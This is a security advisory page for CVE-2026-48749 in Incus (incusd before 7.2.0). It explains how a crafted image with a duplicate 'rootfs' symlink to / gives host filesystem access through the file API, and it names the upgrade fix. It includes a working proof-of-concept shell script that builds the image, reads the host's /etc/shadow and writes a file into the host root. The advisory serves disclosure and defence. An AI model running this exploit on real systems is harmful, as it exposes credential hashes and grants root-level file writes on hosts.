GITHUB.COM/LXC/INCUS/V7/CMD/INCUSD · CVE-2026-48749 · Infrastructure
FIX → 7.2.0
A crafted Incus image with a duplicate top-level rootfs symlink pointing to / lets an attacker reach the host filesystem through the stopped-container file API. The attacker can read files such as /etc/shadow and create files on the host with root privileges, possibly leading to command execution.
first public Jun 25, 2026 · 2 sources
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Hosts running incusd below 7.2.0 that import container images, especially images from untrusted sources. The flaw is reached when an image is imported and a container is created and then accessed through the file API. Teams that only use trusted, self-built images are at lower risk but should still upgrade.
Not affected if fixed-version, trusted-images-only
Who cares containers, cwe-73, incus, linux, self-hosted
incus version and compare against the fixed version.incus image list.Upgrade to 7.2.0
7.2.0 or later.A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.